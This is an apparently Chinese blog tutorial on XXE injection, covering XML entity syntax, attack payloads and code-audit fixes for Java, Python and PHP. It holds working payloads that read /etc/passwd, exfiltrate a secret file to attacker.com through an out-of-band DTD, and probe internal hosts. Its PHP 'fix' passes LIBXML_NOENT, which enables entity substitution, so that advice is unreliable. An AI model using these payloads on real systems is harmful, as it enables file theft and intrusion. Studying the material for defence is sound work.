XML 外部实体注入(XXE)是一种通过在 XML 输入中引用外部实体而利用解析器缺陷的攻击方式。也就是说,当应用程序在处理 XML 文档时,如果没有正确禁用对外部实体(External Entity)的解析,就可能被构造恶意的实体引用所利用 。这种攻击可以导致敏感文件泄露、内网端口扫描、SSRF(服务器端请求伪造)、拒绝服务甚至部分场景下的远程代码执行等严重后果。简而言之,XXE 的根本原因在于 XML 解析器默认允许 DTD(文档类型定义)及外部实体,攻击者可借此构造引用系统或网络资源的实体,而将这些内容注入到解析过程。

XXE 漏洞发生时往往是因为开发者未对 XML 输入进行严格过滤或使用弱配置的解析器。例如,缺少disallow-doctype-decl特性或允许external-general-entities解析,就会让攻击者有机可乘。一旦漏洞被触发,XML 中定义的外部实体就会被解析器读取并替换到 XML 内容中,导致文件内容返回给攻击者。实践中,许多XXE实例往往发生在允许用户上传或提交 XML 文档的位置,如配置文件上传、SOAP/XML API 接口等场景。

XML核心语法:实体、DOCTYPE 与 CDATA

理解 XXE 漏洞,需要掌握 XML 中与实体相关的基础语法和概念。XML 文档通常包含以下结构:XML 声明(可选)、DTD 文档类型定义(可选)和根元素 。DTD 用于定义文档的合法结构,包括元素声明和实体声明 。DTD 声明可以嵌入在 XML 文档内部,也可以独立保存在外部 .dtd 文件中再通过 <!DOCTYPE> 引用。

DTD(Document Type Definition,文档类型定义):当 XML 解析器在解析文档时,如果允许加载 DTD,就会按照其中的定义去展开这些实体。正是因为 DTD 具有“引用外部资源”的能力,攻击者才有机会通过精心构造的 XML 来触发 XXE(XML External Entity,外部实体注入)漏洞,从而实现文件读取、SSRF 等攻击。

  • DOCTYPE 定义:通过 <!DOCTYPE 根元素 [ ... ]>(内部 DTD)或 <!DOCTYPE 根元素 SYSTEM "外部DTD地址"> 引入 DTD。DTD 可以用来声明元素以及定义实体 。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?>
    <!DOCTYPE note [
    <!ELEMENT note (to,from,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    <!ENTITY example "Hello">
    ]>
    <note>
    <to>&example;</to>
    <from>User</from>
    <body>Test</body>
    </note>

    在这个示例中,<!ENTITY example "Hello"> 定义了一个内部实体 example,后文在 XML 中通过 &example; 引用。

    • <!DOCTYPE note [...]> 表示根元素是 <note>,并且里面包含了 DTD (文档类型定义)。
    • <!ELEMENT note (to,from,body)>规定 <note> 元素必须包含 <to><from><body> 三个子元素,且顺序固定。
    • <!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT body (#PCDATA)>表示这些元素只能包含纯文本(PCDATA = Parsed Character Data)
    • <!ENTITY example "Hello">定义了一个实体 example,它的值是 “Hello”。
  • 内部实体(Internal Entity):在 DTD 内部声明的实体,格式一般为 <!ENTITY name "value">。在 XML 文档中通过 &name; 来使用该实体,其作用相当于在解析时将 &name; 替换为定义的字符串内容 。也就是以上示例中的<!ENTITY example "Hello">

  • 外部实体(External Entity):使用 SYSTEM(或 PUBLIC)关键字在 DTD 中声明的实体,其值是一个外部资源的 URI。例如:

    1
    2
    3
    4
    <!DOCTYPE foo [
    <!ENTITY data SYSTEM "file:///etc/passwd">
    ]>
    <foo>&data;</foo>

    这里 <!ENTITY data SYSTEM "file:///etc/passwd"> /etc/passwd 文件的内容作为实体 data 的值引入文档;解析时,&data; 会被替换为该文件的内容 。

  • 参数实体(Parameter Entity):只能在 DTD 内部使用的实体,以 %name 格式声明和引用,用途常见于构造复杂的 DTD 或多级绕过中 。参数实体也可以是外部实体,其定义格式为 <!ENTITY % name "value"><!ENTITY % name SYSTEM "URI">,并在 DTD 中通过 %name; 来引用。例如:

    1
    2
    <!ENTITY % ext SYSTEM "http://attacker.com/malicious.dtd">
    %ext;

    使用参数实体能实现“盲注”时的多级重定向,在 XXE 攻击中经常扮演回显或数据外带的角色 。

  • CDATA 部分:CDATA(不解析的字符数据)用于包含不应被 XML 解析器处理的原始文本数据。CDATA 区段以 <![CDATA[ 开始,以 ]]> 结束,区段内的 <& 等字符都被视作普通文本 。例如:

    1
    2
    3
    4
    5
    <body>
    <![CDATA[
    <script>alert("Hello World!");</script>
    ]]>
    </body>

    在这段中,<![CDATA[ 标记之间的所有内容会被解析器忽略解析(不视为标签),直到碰到 ]]> 为止 ,例如以上场景解析器也不会把 <script> 当成标签,而是当成普通字符串,js脚本也不会被执行。

  • 实体引用:普通实体和参数实体在 XML 文档中分别通过 &name; 和 %name; 引用。在解析过程中,解析器会将实体引用替换为其定义的值 。例如,若 DTD 中定义了 <!ENTITY foo "bar">,那么 XML 文档中出现的 &foo; 就会被解析成 “bar” 。

XXE 攻击示例

基本 XXE(文件读取)

攻击者在 XML 中声明一个指向本地敏感文件的外部实体,然后引用它。例如:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ELEMENT user ANY>
<!ENTITY data SYSTEM "file:///etc/passwd">
]>
<user>
<info>&data;</info>
</user>

在这个示例中,<!ENTITY data SYSTEM "file:///etc/passwd"> 定义了一个名为 data 的外部实体,其值为 /etc/passwd 文件的内容。解析该 XML 时,&data; 会被替换为 /etc/passwd 的实际内容并返回给攻击者 。

盲注 XXE(Out-of-Band 渠道)

在无法通过响应直接看到输出时,可以利用参数实体构造一个“带外信道”。通常做法是在外部 DTD 中定义两个实体:一个读取敏感内容,一个通过网络协议将内容发送到攻击者控制的服务器。例如:

1
2
3
<!-- 攻击者在其服务器上写文件 malicious.dtd -->
<!ENTITY % file SYSTEM "file:///home/app/secret.txt">
<!ENTITY % send "<!ENTITY &#37; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">

上述 malicious.dtd 文件先定义了参数实体 %file 读取 /home/app/secret.txt,然后定义了实体 %send(其中编码后的 % 为 &#37;)来生成一个新的通用实体 %exfil,该实体会触发对攻击者服务器的 HTTP 请求并将 %file 内容作为参数发送 。攻击者在请求中使用以下 XXE 负载:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
%exfil;
]>
<foo>test</foo>

对于以上malicious.dtd的写法,为什么不能写成以下的形式呢?

1
2
<!ENTITY % file SYSTEM "file:///home/app/secret.txt">
<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>

这是因为在 DTD 里面直接写 %exfil 和把它包在另一个实体里再展开,涉及到 XML 参数实体解析的规则。在参数实体声明里(<!ENTITY %exfil SYSTEM "...">),引用 %file; 是不会被展开的,因为参数实体的值不会在另一个实体声明里进行替换。也就是说,http://attacker.com/collect?data=%file; 不会自动把 %file; 展开成文件内容,而是原样保留。这样就收不到/home/app/secret.txt的内容,只能看到字面量 %file;

而原本的两段式写法,先定义 %send,它的值里包含了另一个实体声明:<!ENTITY % exfil SYSTEM 'http://attacker.com/collect?data=%file;'>(这里的 % 是 % 的转义,否则 XML 解析时会报错),当在主 XML 里写 %send; 时,解析器会把 %send 的值插进来,相当于“动态生成”了一个新的参数实体 %exfil,而这个 %exfil 里对 %file; 的引用才会被解析。

基于外部协议(SSRF)利用

当外部实体 URI 使用 HTTP/FTP 等协议时,XXE 实际上变成了对指定 URL 的请求,也就是一种 SSRF(服务器端请求伪造)攻击方式 。例如:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://192.168.0.100:8080/secret-endpoint">
]>
<test>&xxe;</test>

如果 192.168.0.100 是目标内网中的某台主机,这个负载会使解析器向内网地址 http://192.168.0.100:8080/secret-endpoint 发起请求。通过 file:// 读取本地文件或通过 http:// 发起请求,本质上都与 SSRF 类似。同样地,可以把目标换成内部 IP 或使用爆破方式扫描内网地址。这种方式已被用来扫描内网服务和敏感接口,并在某些场景下进一步获取内部资源。

其他利用方式

XXE 还可以与文件上传场景(如 SVG 图片)结合利用,或者通过 jar://、ftp://、ldap:// 等协议进行更复杂的攻击(如利用 jar: 协议提取归档内容) 。总体而言,XXE 的利用方式多种多样,但核心原理都是通过实体声明来触发对文件系统或网络资源的访问。

代码审计:识别XXE漏洞

在代码审计过程中,识别 XXE 常见的检查点主要集中在 XML 解析相关的 API 和配置上。各语言常用的 XML 解析库如果使用不当,都可能引入 XXE 风险。以下是几个典型语言的检查思路和示例:

Java

常见的 XML 解析类包括 DocumentBuilderFactory/DocumentBuilder、SAXParserFactory/SAXParser、TransformerFactory、SchemaFactory、org.xml.sax.XMLReader、org.dom4j.io.SAXReader、JDOM SAXBuilder、javax.xml.bind.Unmarshaller 等 。审计时需要检查是否在实例化解析器后关闭了 DTD 和外部实体解析。

存在漏洞的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import java.io.File;

public class XXEVulnerable {
public static void main(String[] args) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 默认情况下未禁用外部实体
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new File("input.xml"));
System.out.println(doc.getDocumentElement().getNodeName());
}
}

问题:DocumentBuilderFactory 默认允许加载外部实体,攻击者可通过构造恶意 XML 触发 XXE。

安全的做法是在 DocumentBuilderFactory 上调用:

1
2
3
4
5
6
7
8
9
10
11
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 禁用 DTD 和外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new File("input.xml"));

如果这类特性未设置(或设置为 true 反而表示开启实体),则易遭受 XXE 攻击 。此外,Spring、Struts2 等框架如果使用 XML 配置或解析,也要关注其底层是否使用了安全配置。

Python

Python 标准库如 xml.etree.ElementTree 默认会解析外部实体,容易产生 XXE。推荐使用 defusedxml 等安全库来解析。审计时可检查是否使用了类似 XMLParser(resolve_entities=False) 的参数或使用 DefusedXMLParser。

存在漏洞的情况:

1
2
3
4
5
6
7
8
9
import xml.etree.ElementTree as ET

def parse_xml(xml_file):
# 默认的 ElementTree 允许实体展开(Python < 3.7)
tree = ET.parse(xml_file)
root = tree.getroot()
return root

parse_xml("input.xml")

示例修复代码,使用 defusedxml 库,它对 XXE、Billion Laughs 攻击等做了防御:

1
2
3
4
5
6
7
8
9
import defusedxml.ElementTree as ET

def parse_xml(xml_file):
# ✅ 使用安全库
tree = ET.parse(xml_file)
root = tree.getroot()
return root

parse_xml("input.xml")

PHP

PHP 中默认会加载外部实体且早期版本可以用 libxml_disable_entity_loader() 来关闭实体解析。审计时检查是否调用了 libxml_disable_entity_loader(true),或者在调用 simplexml_load_string、DOMDocument::loadXML 时使用 LIBXML_NONET、LIBXML_NOENT、LIBXML_NOCDATA 等常量限制。

存在漏洞的情况

1
2
3
4
5
6
7
<?php
$xmlfile = file_get_contents("input.xml");

// DOMDocument 默认允许外部实体
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
?>

攻击者可以在 input.xml 里插入外部实体,触发 XXE。

修复写法

1
2
3
4
5
6
7
8
9
10
11
<?php
$xmlfile = file_get_contents("input.xml");

$dom = new DOMDocument();
// 禁用外部实体解析
$dom->resolveExternals = false;
$dom->substituteEntities = false;

libxml_disable_entity_loader(true);
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

其他语言

.NET、Ruby、Node.js 等语言同样需要检查 XML 解析配置。例如,在 .NET 中可以设置 XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;在 Node.js 则避免使用不安全的 xmldom 或 xml2js 默认解析;在 Ruby 中使用 REXML 时可调用 REXML::Document.new(xml, {entity_expansion: 0}) 等。总体思路是一致的:检查解析器是否禁用了 DTD 和外部实体 ,若没有则可视为潜在的 XXE 风险。

参考

https://blog.csdn.net/qq_48201589/article/details/136421867

https://yanghaoi.github.io/2021/10/06/xxe-lou-dong-ji-chu/

https://www.cnblogs.com/happystudyhuan/p/11774626.html

https://www.cnblogs.com/N0r4h/p/15873187.html